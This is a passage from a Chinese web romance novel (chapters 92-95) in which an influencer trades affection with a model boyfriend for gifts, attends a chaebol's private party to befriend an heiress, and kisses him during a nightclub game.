手臂犹如藤蔓一般绕上他的脖颈，下巴搁在他的颈窝处。呼出的气体夹杂着湿润，让他的血液运输氧气的速度变慢。 拢着衣服的手指，不由地放松了对布料边缘的掌控。李株赫转过脸来，飞快地撇了她一眼，看到胸前起伏的曲线后又迅速移开。 雪白的颜色，和被灰色布料勾勒出、随着身体微微摇晃的线条，让人忍不住心猿意马。 被误以为对金珉喜念念不忘的怒气，和不能在压制的爱意，最终都化作了那一声——“好。” 李洙赫听到自己这样回答。他身体已经没入了泥泞的沼泽地，灵魂还在混沌地清醒着。 宋玉妍本来还想再说些什么，但是对方迅速的回应让人有些猝不及防。 “内？” 看来金珉喜果然是他内心的白月光，用她稍微一激，就能借助达成目的。 窗外的雨不知道什么时候停了，夕暮从窗帘透进来细碎的金光，打在他硬朗锐利的脸部线条上。 模糊的界限，让精致的脸庞更加柔和。李洙赫下垂的眼尾，呈现出一种犬科动物的无辜感，里面布满了忧郁不安的意味。 看着宋玉妍因为得偿所愿而扬起的眉眼，他唇线向下，苦笑般地撇了撇。 他从不觉得对方是在自作聪明，但宋玉妍以为是金珉喜让她达成目的，实在是有些可笑。 他又不想开口问宋玉妍，到底……喜不喜欢他。甜蜜的谎言和沉默的回应，都不想听到。 “你先把衣服穿好。”一直只穿着胸衣像是什么样子？ 宋玉妍无辜地看着他，下巴尖在他的颈窝上轻蹭。 “可是我的衬衫没有带过来，在我自己的休息室。” “那你穿我的西装？” “不要！”这样搭配太丑了！黑色的西装配上浅灰色的工装裤怎么看怎么奇怪。 李洙赫有些无奈，只能把她先拉开，准备把身上这件外套脱给她。 环视房间一周，不死心地想要找一个可以遮挡的地方，从他一开始换衣服的时候就知道这里没有分隔。 没有办法，走入阴影里，他把手指猛的插入到到头发里，往后顺了顺。 总觉得身后人的视线，是像是灼热的蜡泪，在他的皮肤上留下一个个痕迹。 窗边的宋玉妍交叠着双腿，支起下巴饶有意味地看着他把夹克脱了一半。 如同雕塑一样，结实、量感十足的背阔肌，随着李株赫的动作舒展、紧绷。等宽肩窄腰的全貌都显露出来，深沟的最下方是一对腰窝。 宋玉妍犹如猫科动物那般轻巧，从桌上翻了下来，一点一点地向他逼近。 纤细柔软的手臂环在他的腰处，内侧的微凉贴到手下的热源。原本是软和而又富有弹性的触感，现在却随着肌肉的收缩而紧绷。 “那今天是我们的一日吗？” 李株赫只觉得自己的身体像是橡木一样僵硬、坚固。 “是，你先放开。” 未干的水汽还在濡湿着他的身体，压不下的燥热，如同夏日傍晚阴暗处的空气一样。 可惜，未让他所愿，肌肤之间相贴的更紧密了。 “那可以叫你欧巴了吗？” “可以。”这个字符像是从喉咙里滚出来的。 “欧巴，那你……爱我吗？” 他像是坠入陷阱的猎物，知道身后的宋玉妍肯定如同之前一样，露出达成目的后得逞的笑容。 所以李株赫不能开口，一开口他的所有心思都会暴露无遗。 那样，他就彻底沉入沼泽里，只能和枯萎的芦苇和松枝作伴了。 “不爱也没有关系，反正我陪伴着欧巴，作为交换，我只索取那么一点点资源。” 说完宋玉妍退开了，水汽几乎无法被嗅觉捕捉，话梅糖的味道也消散了。 他几乎是报复性地把原本银灰色的衬衫披起，从下往上扣着一排扣子的动作行云如流水。 李株赫有些痛恨这样诚实到直白的宋玉妍，她把两人之间的感情当做是一场交换，毫不掩饰对他的利用。 那件黑色夹克被他送到了她的手边，“穿上吧，我送你回去。” “内。” 她披上之后，主动地牵起男友的手。灵巧又柔软的手指穿过缝隙，和他十指相扣。 夕阳穿过紧密的建筑，在走廊上投映下了两人的影子。宋玉妍用脚尖踩着他的影子上，这样看上去像是重合了一样。 “欧巴，我不喜欢你那辆捷恩斯，如果我们出去约会的话，你开宾利来接我吧。” “好。”能把对普通车的嫌弃说的这样理直气壮，也只有她了。又是无奈又是好笑地回握了回去。 李株赫只是牵着她的手，只是她在身边，心脏就像是被灌满了甘甜的蜂蜜，又开始了难以言状的热烈搏动。 “还有什么要求吗？” 宋玉妍在心底盘算了一下，“欧巴，我现在住的房子有点太小了，江南区有一个公寓还不错。” “我知道了。” 本来她只是想让人先帮忙垫付一下保证金的，没想到她把相关的房子情况发给李株赫经纪人之后。过了一个星期，他经纪人敲开宋玉妍家的房门。 进来之后，连水也不喝一口，他急急忙忙地抽出一张纸。“宋玉妍xi，李株赫让我把房产证给送过来。” “啊？”她拨了拨自己的头发，有些不在状态，怎么突然跳到送房这个阶段了？ “因为考虑到你是一个人，所以对安保的要求更高，这个小区只有一个40坪的户型了。你什么时候选择搬的话，和我说。” 李洙赫的经纪人来去匆匆，留下房产证，待了不到10分钟就离开了，像是非常忙的样子。 宋玉妍只能拍个房产证发给自家男友，「这是？」 没过三十秒，kkt就显示他有新的消息。「租房太麻烦了，还是直接买下来吧，你如果觉得太小了的话，以后可以换更大的。」 怎么大手笔吗？不愧是江南太子！首尔现在的房价可不便宜，这样的一套公寓，至少也要四十亿韩元。 「那就谢谢欧巴了！」宋玉妍才不会有什么心理负担，男人给了接受就好了。 能够提升自己的生活品质，何乐不为呢？ 况且，李株赫既然能够送出这样贵重的礼物，那就证明在对方眼里她值得。 ck的新海报一经发布就引起了热议，宋玉妍也同步在自己的ins上转发了相关图片，同时转发认领了相关的物料。 既然地广铺上了，她自然也要为销售量贡献一份流量。破了10万粉丝大关的YouTube，为ck家的衣服做了一期测评。 当然， 文本策划她写，费用品牌报销。其中运动内衣，占了三分之一的篇幅。 视频发布后，下面有评论，「一个网红而已，凭什么能拿高奢资源。」 宋玉妍点进她的头像发现是一个女爱豆她正经地回复道：「可能觉得让女爱豆去拍内衣照有些不像话吧。」 「活久见了，今天这位心情很好，居然没有怼。」 「是的啊，我每天都还在她的Ins下学习语言的艺术，不能让自己输在不会说话上。」 「嗯…只有我觉得宋玉妍对女生还好吗？基本上都是讲道理为主。她对男人说话那是真的不太客气。」 「对啊，上次还拿mac的子弹头口红嘲讽一个爹味很重的说教男，结果给人整破防了。」 对于她和ck来说，这次属于双向引流，每天看到ins粉丝数增长就是一件很幸福的事情。 当宋玉妍路过百货商场，ck已经把李株赫的海报挂了上去。 海报以暗色调为主，一种磨砂颗粒感，让人想要把手印上去。 一张坐着，浑身上下只有半片布料，ck的标识在他的胯上显得格外性感。一张站着侧托着头看着镜头。 她认真欣赏端详了他的好身材，然后分别拍了照片给人发了过去。 「欧巴，恰亲给嗦（帅气）～」 李株赫看到这样的消息，有些不知道该怎么回复，作为模特他早就把自己的身体当成了衣架。但是看到新上任女友这样的调戏，还是会有些耳热。 宋玉妍见他迟迟没有回复，本来还想继续打趣几句。一个陌生的电话打了进来，打断了她的动作，手指划过光滑的屏幕，接听了起来。 “是宋玉妍小姐吗？” 对方的称呼既官方又老派，让人有些不习惯。 “内。” “我是林世龄会长的私人助理，过几天想要邀请你去一个私人聚会，你这边会有时间吗？” 没想到偶然的一次接触，居然有这样的结果。宋玉妍心情有些激动，拿着手机的手止不住地微微颤抖，这让她不得不用双手去控制那个粉色的金属机器。 “当然！” “那好，后续的电子邀请函会发到您的邮箱，这几天您可以多学学中文。” 第93章 第九十三章 中文？听到这个词，宋玉妍顿时愣住了片刻，转而又自信地挑起嘴角。 “谢谢，我知道了。” 挂了电话之后，她开始一家店一家店地挑起聚会要穿的衣服。那些logo和颜色太夸张的，都不会考虑。 在真正的财阀看来，中产层用购买奢侈品，来彰显身份的行为，很可笑。 他们早就开始追求更高层次的东西，用来隐秘地炫耀家族的底蕴和财富。比如更高品质的度假生活、购买艺术品、收藏古董、追捧传统韩屋…… 最后宋玉妍在一个小众设计师品牌，选了一件本白色的挂脖连衣裙，质地棉麻、裁剪又很利落。 胸口的绑带设计是点睛之笔。有一点小亮眼，能放大身材的优势，又不会太过引人注目。 把挑好的衣服拿回家之后，宋玉妍拿出熨烫机，把衣服再熨一次。熨好之后高高挂在衣柜里，穿之前不再去碰它。 手机铃声响起，她放下蒸汽熨斗，用耳朵和肩膀夹住，接了起来。 “宋玉妍xi，今天晚上有时间吗？一起吃个饭？”李株赫低沉的声音穿过电波，酥的人耳朵一麻。 她看着化妆桌上六块不同颜色的腮红，很为难地咬了咬下嘴唇。 “欧巴，不太行，我要拍摄腮红测评的vlog，还有相关的宣传图。” 其实她远不止这样一点的工作量，墙角还有堆着各种快递盒子，mlb的新款牛仔外套、试用的面膜…… 前者是想要宋玉妍出一期美式穿搭，带动这件性价比不高衣服的销量。后者是看中了她的素颜，想着就算冲着这张脸，为面膜买单的人都会不少。之前的卸妆水推广，就是很好的例子。 “那明天晚上呢？我知道有一家参鸡汤店还不错，先提前预约，到时候可以直接过去吃。” 宋玉妍因为答应了林世龄的私人聚会邀请，最近要赶工，都会很忙。 “欧巴，米亚内，不行的。” 她一边回复着男友，一边看着电脑上的脚本文案。还要抽空联系有空、风格符合的摄影师，拍摄推广的照片。 李株赫有些生气了，就算是在巡演期间，忙成陀螺爱豆，都能抽出时间偷偷见面、地下秘密恋爱。 宋玉妍相比之下还算是自由，为什么连吃个饭的时间都没有？ 想到这里，他的手指接近红色的挂断按钮，狠狠地摁在屏幕上。 “随你。”说完之后，干脆利落地挂断了。 接受她的告白之后，李株赫也会患得患失。偶尔睡到傍晚时分，看着窗外霾蓝色的天空，他的心底都会涌现出一股巨大的失落。 两人在一起的事实就像是梦一般的不可思议。 只有宋玉妍在他身边，能触碰到她光滑的肌肤，感受到她温热的呼吸，心中不安的黑洞才能被稍稍填满。 李株赫怅然若失地看着两人的对话框，这几天一般都是宋玉妍在说，他偶尔回复几句。 不都是说，付出的越多，沉没成本越大，到时候也就越难放开手吗？是她的沉没成本还不够吗？ 所以……她现在是腻烦了吗？还是就算恋爱了，她还想继续玩推拉。 看到男友把电话之后，宋玉妍觉得有些莫名其妙，看了被挂断的手机屏幕一眼，决定继续做自己手头上的事情。 本来还想和他说接到了林世龄的邀请，还是下次再提吧。 私人聚会的这一天是个难得的响晴天，阳光和煦，计程车从树叶摇晃的影子间不断穿过。 “前面就是汉南洞了，我们这样的出租车都不能进去，会有保安赶的。” 司机从镜子里看着身后的乘客，有些不明白为什么来这种富人区还会坐计程车。 宋玉妍从钱包里抽出对应的纸钞，递给司机后朝他笑了笑。“谢谢，那就到这里吧。” 富人区的房子和首尔其他的完全不一样，根据地势而建，高低错落，犹如一个个大型艺术品。 干净锃亮的柏油路，似乎每天都被人用洗地机洗过好几遍。这里很安静，脚步都忍不住放得更轻，甚至连风吹过树叶的沙沙声都能听得一清二楚。 走了两百步的上坡路，一户人家都还没有走过，紧闭着的铁门阻挡了来自外界窥探里面财富的视线。 宋玉妍刚想拿出手机拍几张照片。保安从一个像是美术馆精美的建筑后走了出来，严厉地呵斥她的行为，让她把手机收回去。 只能讪讪地把手机放进包里，按耐住属于网红的职业病。 等小腿传来酸麻的感觉，才到达目的地。 站在足足有她八个人那么宽的暗金色金属门前，她低头看了自己的着装，确定没有什么问题之后开始摁门铃。 一个穿着正装，女管家式的人出来接她，核对过姓名和电子邀请函之后，才把人领进去。 穿过一个足球场那么大的草坪，绿草如茵。两边栽种的树木伸出的枝桠，恰好能够挡住一部分斜射而来的阳光。从一缕缕浅金色的光柱里，可以看到微微尘埃漂浮着。 宋玉妍忍不住放慢脚步。和风亲密接触的多重花瓣，组成一团团瑰 丽的粉云，只有这家主人和现在的她能够欣赏到这份美丽。 花开有信只为一人，未免有些太过奢侈了。 管家像是看穿了她的喜爱，“元珠小姐很喜欢樱花，副会长专门为了她从日本移植了松月樱。等春日的时候，庭院会更加好看。” 「系统，听到了吗？以后我的身份就按照这样的来安排。」 休眠期的系统冷不丁地听到自家宿主出声，用强悍地计算能力算了一下。 「宿主，这样的几率大概是五千万分之一。毕竟李元珠的所有直系亲属都是财阀，从外婆到爷爷，没有哪个是没有钱的。」 宋玉妍：…… 到了会客厅之后，佣人轻手轻脚地把她引到离林世龄位置比较远的单人沙发上。 落地窗前有一个十三四岁的少女，手指在施坦威三角钢琴的黑白琴键上起舞。 看到是宋玉妍进来，除了专心演奏的那位，房间里另外的两人都没有反应。就当她不存在，手上都捻着咖啡杯描金的杯柄，安静地听着钢琴曲。 宋玉妍也不显得慌忙，把香奈儿的经典款25小羊皮包，随手往脚下的地板上一放。带来的礼盒，倒是被她紧紧地拢在膝上。 一曲毕了，一身米白色套装的林世龄先鼓起来掌，看向自己女儿的眼神里满是骄傲自豪。 这个孩子是她和前夫那段不算愉快的婚姻中，唯二的馈赠。 看到她鼓掌了，宋玉妍和她坐在同一个沙发上、暂且判断不出身份的女性，随后也捧场式地鼓起了掌。 这位看起来像是财阀千金，柔顺有光泽的黑长发在阳光下显得如丝一般细腻。挺拔的姿态，像是把礼仪刻进了骨子里。一身黑色粗呢子横格纹套装，若隐若现的银线显得十分低调。裁剪合体，垫肩的合适，像是香奈儿高级定制系列的手笔。 可以不顾季节穿衣服，证明她所处环境足够优渥，穿搭不用考虑外界天气。 只是她神色恹恹，眉眼间像是萦绕着一股轻愁。但这份忧愁和为生活奔波的困扰不同，眼里是对世俗物质已经产生满足了的倦怠感。 宋玉妍看了看人家身上价格不菲的套装，又看了看放在地上，刷了36期信用卡买的包。 以她现在的经济状况，买一个奢侈单品轻轻松松。但是入手如消耗品一样的衣物，性价比还是不高。 “宋玉妍也很喜欢这首曲子吗？”林世龄和她沙发之间的距离有些远，高昂着头，保养良好的脸上挂着看起来能拉进距离的笑容。 “这首肖邦的A小调圆舞曲被演绎的很棒，快速上升的琶音颗粒感十足，柔和的旋律里满是浪漫却忧郁的气质。” 宋玉妍知道这是一个小小的考验，幸好上一个世界恶补了许多乐曲知识，对大多数的古典音乐她都做过功课。 听着她温柔的声音不疾不徐地阐述着这首乐曲， 林世龄摸了摸自家女儿头发，在心里默默地点了点头。挑了挑眉毛，看向她的目光充满了兴味。看来她为了往上爬，应该做了不少功课。 能够说出曲目不稀奇，一句话既能夸到技术难点又能概括情感，这倒是让人有些惊讶。 “你先回房间休息吧！” 随着自家女儿的背影消失，林世龄转过身来。 依旧没有和宋玉妍介绍身边这位的意思，她反而像是聊起了家常一般。 “元珠被我和她爸爸惯坏了，还在国际学校念书，今天就说不想练琴了，要直接去美国留学。” 说到这里林世龄的头更疼了，虽然已经和丈夫离婚。但两人对于女儿的疼爱做不了假，被惯坏的孩子，总会有那么一点小任性。 一直按照标准坐姿侧放着腿的宋玉妍，脸上始终挂着柔和的笑容，身体微微往她那边倾斜，呈现出一种倾听的姿态。 就算听到了林世龄说自己女儿，她也没有对对方的家事发表评论，不管是是附和还是吹捧。而是把放在膝盖上的礼盒推了出来。 “这是我手工做的的香薰，里面放了薰衣草精油，成分都是天然的，可以助眠。” 林世龄看了一眼宋玉妍的膝盖，又扫了一眼她放在地上的小羊皮包，心中更加满意了。她让站在房间边缘的佣人接过宋玉妍的礼物，眼神示意现在可以点起来。 有脑子、会动脑子、又能让人感觉舒服的人，才配从她这里得到机会。 想到卢夫人拜托她能照顾一下归国的女儿，她当时就觉得，调查过背景的宋玉妍，会是很好的一位陪伴者。 财阀家族的成员偶尔也要接触一下底层。 卢夫人的女儿外在的物质得来过于顺遂了，最大的挫折也不过是父母之间的婚姻不顺。 而拿着一手烂牌，爬到现在这样地位的宋玉妍，恰好可以打破崔小姐的信息茧房。 “这位是宋玉妍，一位新媒体的从业者。”林世龄转过脸，脸上可亲的笑容更加真心实意了。 “这位是崔宝祯，93年生。”林世龄为两人做完介绍之后，看着人继续说道：“我记得宋玉妍你是1月份生的吧，你们两个也算是同年了，应该会容易亲近一些。” 第94章 第九十四章 听到这个名字，宋玉妍头脑空白了一瞬，随后皮层开始发麻。她竭力控制自己因为兴奋而微微颤抖的身体。 一扇发着光亮通往更高阶层的门，终于对她敞开了一丝缝隙。 虽然林世龄没有明说，这个姓加上年龄，对方的身份也就呼之欲出了。 她是sk家的三女！崔宝祯就是sk家从未露面的三女儿！！ 说她是含着金汤匙出生也丝毫不为过，她的父亲是现任sk集团的掌门人，sk在韩国经济中的重要程度仅次于三星、现代。而她的母亲是第六任总统的女儿，标准的政商联姻。 宋玉妍低头，发现自己抓着裙摆的手微微抖动着。在棉麻的衣料上，一点点褶皱的痕迹都格外明显。 听到林世龄的介绍，这位财阀大小姐看向她的眼睛里倒是没有流露出丝毫蔑视、不屑之类的情绪。人端坐在沙发上，柔顺的黑发垂在胸前，让人有一种被俯视的感觉。 崔宝祯看向宋玉妍的眼神里满是漠然，就好像她和路边的杂草、石头没有区别。 像是在给主人家面子，她纡尊降贵般地朝人笑了笑。“你好，宋玉妍xi。” 虽然用的是敬语，但崔宝祯手里的咖啡杯一直没有放下来。就连笑起来的时侯，也只有嘴角是弯着的，眼睛和卧蚕却纹丝不动。 对于这样财阀小姐，一味地上赶着去奉承是没有用的，想要趋炎附势的人太多了。你要拿出对方觉得有用的东西，来证明自身的价值。 “你好，崔宝祯xi。”宋玉妍收拾好心情之后，面色如常地回复道。 她很快摆正好来自己的位置，至少现在两人同为林世龄的客人。如果一开始就把自己放在下位者的位置，那你永远只能看到对方的下颌线。 林世龄看着两人迈出了互换姓名的第一步，就知道崔宝祯对于这个玩伴初步还算是满意的，至少是有兴趣的。 她把会客厅让给两位客人，借口说要去处理工作退场了。 看到她不卑不亢的态度之后，崔宝祯脸朝她微微转了过来，嘴角的笑容扩大了几分。“我之前都在种花留学，刚回国可能还需要你帮忙介绍一下国内的 情况。” 这个话题很是宽泛，很是让人苦恼，宋玉妍并不着急向对方展示自己的价值。而是切换到中文，浅尝辄止地询问了她基本情况。 “你中文很好诶，上过语言课吗？还是去种花留学过。” “自学的。”母语的话也算是自学吧，宋玉妍矜持地笑了笑，脸上没有丝毫的自傲。 听到这里，崔宝祯掩饰住内心的惊讶，只是冷静地点点头，表示知道了。 中文的难度并不小，她是因为家庭对教育的重视加上受母亲的原因，才能说得这么好。没想到宋玉妍居然自学，就能达到她这种花了大价钱才出来的效果。 她是个聪明人，而她喜欢聪明人。 “我大学在北大光华学的金融，专业一点意思都没有，二姐倒好，丢下我直接跑军队服役去了。刚回韩国是真的很无聊，每天除了美容、偶尔兴趣来了都不知道该干什么。” 崔宝祯一边抱怨，一边把和竹子一样笔直的腰微微放松，塌陷了一点，身体也往后靠了一些。 这样的生活，宋玉妍可一点都不觉得无聊。要是她能过上这样的生活，那不工作也是可以的。 她转而一想，也许崔宝祯选的这个专业，未必不是想和她大姐一样，为进入sk集团做准备，抱着争取家族其他成员支持的打算。 卢夫人在崔家的生存空间一步步被挤占，对于那位汉南洞夫人的挑衅，他们不一定全然无动于衷。 “你说我应该做点什么好呢？”崔宝祯歪着头，看起来清纯的脸上像是有了一份无辜感。 宋玉妍听到这样的话，呼吸猛的急促了起来，吞了吞因为干燥口渴的喉咙，藏在裙摆下的双手握成了双拳状。 疯狂跳动的心脏告诉她机会来了，如果能拉上对方和她一起拍财阀生活的vlog，那她将会引来巨大的关注度。 对方的家族不但是韩国的第三大财阀，她的父亲和小三之间一掷千金的故事，一直都是网友茶余饭后的吃瓜日常。更何况她母亲身上总统之女的光环，两位姐姐也是个顶个的优秀，随便哪一个标签都自带话题度。 气息的翕张声在空旷的空间十分明显，几乎都能听到氧气和鼻子发生接触的嚓声。 宋玉妍知道这些急不来，要让她想想这样做对崔宝祯有什么好处。 对方专注的视线给了她莫大的压力，忽然想到那位汉南洞夫人最喜欢办美术展，甚至买了个央美学历在ins上岁月静好。 “要不然可以试试先组织古典音乐沙龙聚会？邀请一些同好，一起来欣赏新兴演奏家的演奏？” 崔宝祯对于这个倒是有了一点兴趣，眼睛带上一点笑意。 砸钱、捧出一个高大上的幌子，然后用来拉拢圈内的夫人。不但可以帮她步入集团的姐姐分担一部分交际压力，还可以压那位一头。 她倒不是把汉南洞那位放在眼里，只是对方时不时地出来恶心一下，让人很烦躁。 崔宝祯从沙发边拿起自己的包走向宋玉妍，站在她的面前，把包里的口红、证件都拿出来，然后直接把裸包放到宋玉妍的腿边。 深棕色的皮革沙发上是精致的爱马仕kelly25奶昔白。柔和的白色皮质上，金色包扣在灯光的照耀下闪闪发亮。 “包包呢，是女人的第二张脸面，香奈儿到底还是有些配不上你。”说完，她看了一眼地上，因为五金的使用过度，摩擦导致羊皮面有些外翻的黑包。 “名片我放里面了，记得加我的ins和kkt。” 说完之后，她直接转身就走了。只留下在原处的宋玉妍，看着这个几乎没有使用痕迹的包。 等崔宝祯坐在车上之后，助理递上了备用包。“小姐，那个包当时你在种花可是等了一个月，就这样送给她了？” 听到助理的话，她划着屏幕的手指顿住了，美甲上精致立体的花卉像是艺术品，头发在空中甩起一段弧线。 “一个包而已，能认识一个有趣的人，当然划算。” 宋玉妍把包扣打开，拎着包慢慢从这片区域走到可以打车的地方。这一片的空气澄明，让人想要多停留一会。 在一个上坡路段，她把包拿到可以和自己平视的角度，阳光下昂贵的皮料呈现一种独特的光泽。 她想要的可不仅仅只是一个包而已。 傍晚，江南区的高级酒吧 “你不是说今天宋玉妍会来吗？怎么人都差不多了还没有到？”权至龙听到自家亲故，亲口承认他谈恋爱了，觉得有些不可思议。 他和金珉喜分手之后，好几段恋爱都时间很短、无疾而终地过去了。只是没想到这次的女朋友，会是一个小有名气的网红。 李株赫只是冷着脸专注地看着屏幕，宋玉妍和他的对话框很短。 两人虽然说已经在一起了，但他就莫名地觉得距离变得更远了。尤其是最近她不知道在忙什么，就连回消息都不是很及时。 “说实话，我还是不明白你为什么会选择她。网红嘛！我们组个局想要挤进来的没有一千也有八百。”权至龙看着他有些上头，实在是有些费解。 “她是不一样的。” “哪里不一样？和很多花蛇一样只是想要你的资源，这样的女人不是一抓一大把？” 听到这样的话，李株赫莫名地有些烦躁。 他自己的内心也很矛盾。一时间觉得他和宋玉妍绑在一起是一个错误的决定，但是又拒绝不了对方。何况当时的氛围实在太好了，他知道宋玉妍是一团抓不住的云，但也会想把浮动的云打上自己的印记。 在一起之后，他也并没有体会到爱情的甜蜜，反而受到朋友的各种质疑。李株赫对两人恋爱的前路越来越看不清了，甚至觉得不安感、空虚感在恋爱之后反而加重了。 “宋玉妍要资源她也是坦坦荡荡的要，不会口是心非。”她和那些爱情骗子不一样，也不会说那些花言巧语去哄骗他。 听到这个回答，权至龙有些语塞。“有区别吗？” 都是依靠别人，还分出个三六九等了？他只能归结于自家亲故偏偏爱吃这一口。 原本以为她能快点来，看到人之后，李株赫内心的焦躁就能缓解。 没有宋玉妍的空间让他有些坐立难安，“我出去抽个烟。” 权至龙看着室内的男人基本上都在吞云吐雾，就知道这只是他的一个托词而已。 李株赫穿过拿着酒杯、高声谈笑的人群，关上房间的门之后，心底的烦闷并没有随之而去。他走到墙角，倚靠着贴着镜子的墙面，冰冷的质感降低了他身体的温度。 稀薄而迷蒙的烟雾萦绕在他的周围，往上走的烟色缠上了他的发梢。手机一直没有震动的声音传来，就像之前宋玉妍的答应像是他的错觉。 他解开衬衫最上方的风纪扣，让喉结可以喘口气，然后再一次用力地把香烟塞进嘴里。 对面的镜子出现了一个纤细熟悉的身影，晃荡的那一下几乎让李株赫以为自己看错了。他忽然抬头一看，顺着来人的身影，视线从她的脸上划到手里拎着的包。 她换包了！ “不是说独一无二的恋爱体验吗？这段时间确实挺特别的。” 低沉的声音就像是低音的贝斯发出的振动，能够传到大脑神经的最深处。 第95章 第九十五章 坏了，这段时间宋玉妍确实是把人抛到脑后了。虽然已经攀上了崔宝祯，但是像李株赫这样大方的男友可不多见。 她心里转过一万种心思，面上分毫不显，笑意吟吟地从男人的手指里抽出香烟。只燃了两毫米，烟头就被她用纤细的手指摁到垃圾桶的铝皮上，火星碰撞后，安然熄灭了。 “欧巴，老是抽烟对身体不好。”她没有解释这段时间的冷淡，就像是李株赫也没有主动和她发消息那样。 这是属于成年人之间的心照不宣，就算是确定了恋爱关系的情侣，也要给人足够的空间。 李株赫的手无力地垂靠在墙壁上，头抬起时，下颌线因为紧绷更加明显。 这家夜店很有心，就算是走廊上也装饰好了星空顶，闪烁、折射出来的光斑斓绚丽。而他的心情和这样繁复的天花板完全相反。 闷热黑暗的环境中，他的太阳穴因为忧思过多而胀痛，怦怦地乱跳。 对于宋玉妍的动作，李株赫没有反应，既没有阻止也没有顺着。他的短圆眼轻轻阖上，像是有些疲惫。精致的脸上没有丝毫光彩，微微撇向角落，有点拒绝交谈的意味。 和崔宝祯搭上线、最近事业进展也很顺利的宋玉妍，有了去哄着男友的心情。毕竟这一段感情是她主动争取来的，目前对他还是满意的。 她的手覆上黑色衬衫的领口，微凉的肌肤隔着一层薄薄的面料，把温度传递过去。散落的衣领呈现对称的v字状，突出的锁骨下是隆起肌肉的弧度。 宋玉妍的指尖有意无意地点在支撑力良好、温热的肌肤上，前襟最上方那一粒贝母扣子被她扣了起来。 原本裸露的线条如雕塑家打磨过的，现在被泛着丝一般光泽布料裹着。 “欧巴，还是好好穿衣服吧，迷倒太多人我可是会生气的。” 蜜糖一样的声音像是灌注了所有的温柔，自带一股甘美的情韵，让人忍不住被其蛊惑。 李株赫忽然觉得自己悬浮不安的心脏被温柔地托了下来，上面的每一条褶皱都被她温柔嗓音、温柔的笑容、温柔的指尖触感一寸寸抚慰平整。 他主动伸手抓住她的手腕，从柔嫩的缝隙中穿过，另一只手把领口的位置往上提了提。宋玉妍少有的占有欲让他很受用。 这样至少……证明对方是在乎他的。 回到包间里，李株赫没有把人往权至龙那边带。那里太吵了，音乐声和酒杯碰撞混合在一起，无法听不清周围人说话。 坐到一个距离中心不远不近的角落。宋玉妍把新包搁置在腿间，细白的大腿肉被压的从皮料的边缘溢出来。 看起来她对这个包很满意，不然不会像是展示豪重勋章一样，放在这样显眼的位置。漂亮的包配上美人，引来很多窥探的视线。 李洙赫皱了皱眉头，温热宽大的手掌握上她侧腰处的凹陷。 “你换包了？” 他记得宋玉妍常背的是一个香奈儿cf25。虽然是经典款，但磨损的背链处证明它的使用频率很高。 想到当初宋玉妍让别人给她买手镯，又退回去的情景，李株赫再扫了一眼她腿上的爱马仕，这是vip都要排队才能拿到的包型 “对啊，别人送的。”腰上陌生的触感让她不适应地扭了扭。 干喝酒没有没有意思，对面有人提议起玩国王游戏。 宋玉妍顺手拿了两张牌，一张9、一张6，随手分了李株赫一张。因为两张都不是国王，她就没有兴趣去关注这个游戏。 随着她身体的前倾，箍在腰上手掌变成了拦在身前的安全杆。两人之间几乎毫无缝隙，黑色与黑色衣料之间的摩擦声听起来很清凉，隔绝了燥热的气氛。 “下次你想要什么包和我说。”李株赫在心底默默地责怪自己。他早就知道宋玉妍的性格，没有满足她的物欲是他的问题。 所以……以后别在收别人的礼物了，他都会给她买的。 这么大方？送了房子之后还打算送奢侈品？宋玉妍脸上的笑容更加甜蜜真切了，把身体往他那边送，更加窝进几分。靠着他的胸肌，细眯起双眼，仰头看着李株赫。 “欧巴，你真好。” “那我就不客气了，我想要一个kellymini的冰川白。现在这个包太大了，不好搭配衣服” 他默默地记下了。 “我拿到了国王牌，现在请6号和9号一起吃手指饼干。”抽到国王牌的winner队长，有些不怀好意笑着。 他看着大家因为有权至龙这个大前辈在有些放不开，先提出这样有些出格的指令率先破冰，把气氛炒热。 在座的大部分都是yg家的爱豆，新推出的女团也在中间，演员部却只有三三两两。 大家一听第一把就玩这么大，纷纷起哄鼓掌、吹哨。 本来两人还在旁若无人的咬耳朵，李株赫正在把新加的sales发过来的图片一一展现给宋玉妍看。让她挑喜欢的款式。 除了他们，所有人都把抽到的牌翻到桌面上。一时间室内的视线全部看了过来，只有他们两个的底牌没有揭晓，那抽到6、9的人身份也呼之欲出了。 “什么啊，居然让情侣抽到了。” “是啊，怎么会是情侣。” “就是，一点意思都没有。” “情侣之间啵啵比喝水还要频繁。” 虽然两人名为情侣，但最亲密的举动还是脸颊吻。李株赫不好意思和女友在大庭广众之下，做这样亲密的举动。 他扯了扯衣领拿起今晚还没有动过的酒杯，准备接受惩罚。 “不会吧，情侣都玩不起？” “就是，李株赫xi难道和宋玉妍xi不熟吗？” 他一想要拒绝，这就让看热闹不嫌事大的围观群众更来劲了。 “这有什么不好意思的？” 宋玉妍的脸上倒没有什么害羞的情绪，绯红的脸颊更是不存在的。她用雪白的手指虚虚罩住他的杯口，然后转过身，用从烟盒里挑香烟的姿势拿出一根手指饼干。 腿被犄角处遮挡，长发从腿间的肌肤上划过。柔软的身体屈起，美好曼妙的身姿被勾勒，透着一股不自知的诱人风情。 看着这样的宋玉妍，围观者屏住了呼吸。他们好像有些明白，为什么李株赫会对这个网红如此上头。 和他大多直线条的五官不一样，圆眼里倒映着女人的身影，墨色的眼珠既清亮又像是揉着一层雾气。 饼干的一端被她含在嘴里，含糊道：“欧巴，张嘴。” 两人之间的距离顺着这根15cm的饼干一点点拉近。明明都已经是情侣了，碰撞出来的火花比暧昧期更长、更灼热。 室内的气氛像是烤焦了焦糖，仿佛能用棍子在空气里搅一搅，能挂上黏糊糊的糖浆。 他能闻到宋玉妍身上话梅糖的味道，两人的呼吸交缠间满是香水尾调的甜腻。他能看到她那朱红的嘴唇，轻轻往前一磕，就能碰上它，随便一吮，丰润多汁的果肉就会流出殷红的水。 李株赫被动地看着她的动作，嘴里的那一小节饼干已经融化。是什么味道？等到了食道，他才后知后觉的反应过来，牛奶、黄油、小麦的酶…… 宋玉妍微微侧头主动吻上了他，双手环在他的脖颈后侧，像是把大半重量放在他身上，又像是没有。 他只觉得像是抱着一朵甜丝丝的云，如雾似水的触感让人握不住又不忍放手。 “哇呜！”周围人再次起哄。 “法式深吻！” “法式深吻来一个。” 两人都像是沉醉其中，没有去管外界的嘈杂。这个吻虽然是宋玉妍主动，但李株赫很是配合。 口腔里没有哪一寸没有被甜味裹袭。 看到他们般配的颜值，如同偶像剧一样的氛围感，有人忍不住拿出手机拍下了照片。 “你在干什么？”权至龙冷冷地盯着那个没有分寸的人。 